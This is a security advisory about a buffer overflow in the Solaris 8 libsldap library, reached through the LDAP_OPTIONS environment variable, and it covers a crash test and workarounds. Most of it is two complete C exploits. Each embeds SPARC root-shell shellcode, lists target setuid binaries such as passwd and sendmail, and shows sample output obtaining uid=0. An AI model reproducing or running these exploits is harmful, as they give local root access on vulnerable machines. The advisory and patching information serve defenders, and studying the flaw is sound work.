COMMAND
libsldap
SYSTEMS AFFECTED
Solaris 8
PROBLEM
Jouko Pynnonen found following. The library implementing LDAP
naming services on Solaris 8, libsldap, contains a buffer
overflow in the initialization code. While parsing the
environment variable LDAP_OPTIONS, a fixed size buffer is used to
store its contents which can be of any length. This is a
straightforward buffer overflow and exploitable in conjunction
with privileged programs that use the library. Such programs
include passwd, yppasswd, nispasswd, sendmail, and chkey. The
library is only found on Solaris 8 systems. On vulnerable systems
the buffer overflow can lead to a local root compromise.
Testing for the vulnerability of your system can be done as
follows:
$ LDAP_OPTIONS=`perl -e "print 'A'x300"` passwd
Segmentation Fault
A segmentation or other fault indicates you have a problem. If
the program works normally (and asks your password), you're
probably not vulnerable. Other setuid binaries can be tested in
the same way. To check whether a program has been linked against
the libsldap library, you can use the ldd command.
As far as we know, sway@hack.co.za did actually found the hole
several months. Exploit is plain simple, tested on an Ultra10
and an Enterprise 3500 with success.
$ ./libsldap-exp
libsldap.so.1 $LDAP_OPTIONS enviroment variable buffer overflow
Exploit code: noir@gsu.linux.org.tr
Bug discovery: sway@hack.co.za
Usage: ./libsldap-exp target#
target#: 0, /usr/bin/passwd Solaris8, Sparc64
target#: 1, /usr/bin/nispasswd Solaris8, Sparc64
target#: 2, /usr/bin/yppasswd Solaris8, Sparc64
target#: 3, /usr/bin/chkey Solaris8, Sparc64
target#: 4, /usr/lib/sendmail Solaris8, Sparc64
$ ./libsldap-exp 0
# id
uid=0(root) gid=0(root)
#
/** !!!PRIVATE!!!
** noir@gsu.linux.org.tr
** libsldap.so.1 $LDAP_OPTIONS enviroment variable overflow exploit;
**
**/
#include <stdio.h>
#define ADJUST 1
/* anathema@hack.co.za
** Solaris/SPARC shellcode
** setreuid(0, 0); setregid(0, 0); execve("/bin/sh", args, 0);
*/
char shellcode[] =
"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xca\x91\xd0\x20\x08"
"\x90\x1a\x40\x09\x92\x1a\x40\x09\x82\x10\x20\xcb\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08";
struct type {
char *string;
char *path;
long retaddr;
};
struct type target[] =
{
{ "0, /usr/bin/passwd Solaris8, Sparc64", "/usr/bin/passwd", 0xffbefe98 },
{ "1, /usr/bin/nispasswd Solaris8, Sparc64", "/usr/bin/nispasswd", 0xffbefe98 },
{ "2, /usr/bin/yppasswd Solaris8, Sparc64", "/usr/bin/yppasswd", 0xffbefe98 },
{ "3, /usr/bin/chkey Solaris8, Sparc64 ", "/usr/bin/chkey", 0xffbefea8 },
{ "4, /usr/lib/sendmail Solaris8, Sparc64", "/usr/lib/sendmail", 0xffbefeb8 },
{ NULL, NULL, 0 }
};
int i;
unsigned long ret_adr;
char ldap[4000];
char egg[400];
char *envs[] = { ldap, egg, NULL };
main(int argc, char *argv[])
{
if(!argv[1])
{
fprintf(stderr, "libsldap.so.1 $LDAP_OPTIONS enviroment variable \
buffer overflow\nExploit code: noir@gsu.linux.org.tr\nBug discovery: sway@hack.co.za\n\nUsage: %s target#\n\n", argv[0]);
for(i = 0; target[i].string != NULL; i++)
fprintf(stderr,"target#: %s\n", target[i].string);
exit(0);
}
ret_adr = target[atoi(argv[1])].retaddr;
memset(egg, 0x00, sizeof egg);
for(i = 0 ; i < 400 - strlen(shellcode) ; i +=4)
*(long *)&egg[i] = 0xa61cc013;
for (i= 0 ; i < strlen(shellcode); i++)
egg[200+i]=shellcode[i];
for ( i = 0; i < ADJUST; i++) ldap[i]=0x58;
for (i = ADJUST; i < 4000; i+=4)
{
ldap[i+3]=ret_adr & 0xff;
ldap[i+2]=(ret_adr >> 8 ) &0xff;
ldap[i+1]=(ret_adr >> 16 ) &0xff;
ldap[i+0]=(ret_adr >> 24 ) &0xff;
}
memcpy(ldap, "LDAP_OPTIONS=", 13);
ldap[strlen(ldap) - 3] = 0x00; //ldap[3998] has to be NULL terminated
execle(target[atoi(argv[1])].path, "12341234", (char *)0, envs);
}
Here is another one:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
/* $Id: ldap_exp2.c,v 1.1 2001/06/27 23:01:04 fygrave Exp $
*
* victim% ./lod -s 316 -p 5
* jumping into: ffbefe74 (buf size: 156, soff: 316, stack: ffbefd38)
* # id
* uid=0(root) gid=200(em) egid=3(sys)
* # uname -a
* SunOS victim 5.8 Generic_108528-06 sun4u sparc SUNW,Ultra-60
* # ^D
* victim%
* Thu Jun 28 05:22:38 ICT 2001
* Fyodor <fygrave@tigerteam.net>
*/
#define NOP "\x80\x1c\x40\x11"
#define BUFSIZE 156
#define LOCALBUF 10000
#define NOPS 1964
#define PAD 3
#define SOFF 664
char shellcode[]=
"\x90\x1a\x40\x09" /* xor %o1, %o1, %o0 */
"\x82\x10\x20\x17" /* mov 0x17, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x20\xbf\xff\xff" /* bn,a 0x108b4 <main+8> */
"\x20\xbf\xff\xff" /* bn,a 0x108b8 <maino> */
"\x7f\xff\xff\xff" /* call 0x108bc <shellcode> */
"\x90\x03\xe0\x30" /* add %o7, 0x30, %o0 */
"\x92\x03\xe0\x28" /* add %o7, 0x28, %o1 */
"\xc0\x2b\xe0\x38" /* clrb [ %o7 + 0x38 ] */
"\xd0\x23\xe0\x28" /* st %o0, [ %o7 + 0x28 ] */
"\xc0\x23\xe0\x2c" /* clr [ %o7 + 0x2c ] */
"\x82\x10\x20\x0b" /* mov 0xb, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x82\x10\x20\x01" /* mov 1, %g1 */
"\x91\xd0\x20\x08" /* ta 8 */
"\x41\x41\x41\x41" /* AAAA */
"\x41\x41\x41\x41" /* AAAA */
"\x2f\x62\x69\x6e" /* /bin */
"\x2f\x6b\x73\x68" /* /ksh */
"\x41\x57\x68\x6f"; /* junk */
extern char *optarg;
unsigned long get_sp(void) {
__asm__("mov %sp,%i0 \n");
}
int main(int argc, char **argv) {
static char buf[LOCALBUF], *ptr;
unsigned long addr, bufsize, soff, pad;
int i, c;
soff = SOFF;
bufsize = BUFSIZE;
pad = PAD;
while((c = getopt(argc, argv, "s:b:p:h")) !=EOF)
switch(c) {
case 'b':
bufsize = strtoul(optarg,NULL,0);
break;
case 's':
soff = strtoul(optarg,NULL,0);
break;
case 'p':
pad = strtoul(optarg,NULL,0);
break;
case 'h':
default:
fprintf(stderr,"usage: %s [-b buffsize] [-s stackoff] [-p pad]\n",
argv[0]);
exit(1);
}
bzero(buf, sizeof(buf));
strcpy(buf,"LDAP_OPTIONS=");
ptr=buf + strlen(buf);
for(i=0;i<bufsize;i++, ptr++) *ptr='A';
addr = get_sp() + soff;
memcpy(ptr,(char *)&addr, 4);
memcpy(ptr+4,(char *)&addr, 4);
ptr+=8;
for(i=0;i<pad;i++, ptr++) *ptr='A';
for(i=0;i<NOPS;i++, ptr+=4) memcpy(ptr, NOP, 4);
strcat(buf, shellcode);
putenv(buf);
fprintf(stderr,"jumping into: %lx (buf size: %i, soff: %i, stack: %lx)\n",
addr, bufsize, soff, get_sp());
execl("/bin/passwd","lameswd",0);
}
SOLUTION
One workaround is to clear the setuid/setgid bits of the
vulnerable programs (chmod 755 prog), but this will in most cases
make them useless. Another way is to compile a dummy library and
replace /usr/lib/libsldap.so.1 with it. This will disable any
LDAP functionality of the programs using this library, but
otherwise they seem to work. A dummy kludge library can apparently
be compiled and installed like this:
$ cp /dev/null dummy.c
$ gcc -shared dummy.c -o dummy.so
$ su
# mv /usr/lib/libsldap.so.1 /usr/lib/orig_libsldap_so
# cp dummy.so /usr/lib/libsldap.so.1
This neutralizes the buffer overflow, but might also break some
things and have other side-effects. If you do this, do it on
your own risk.
According to Sun Microsystems they had just discovered the
vulnerability themselves and it "has been fixed in the development
release of Solaris and patches are being generated for Solaris 8
presently."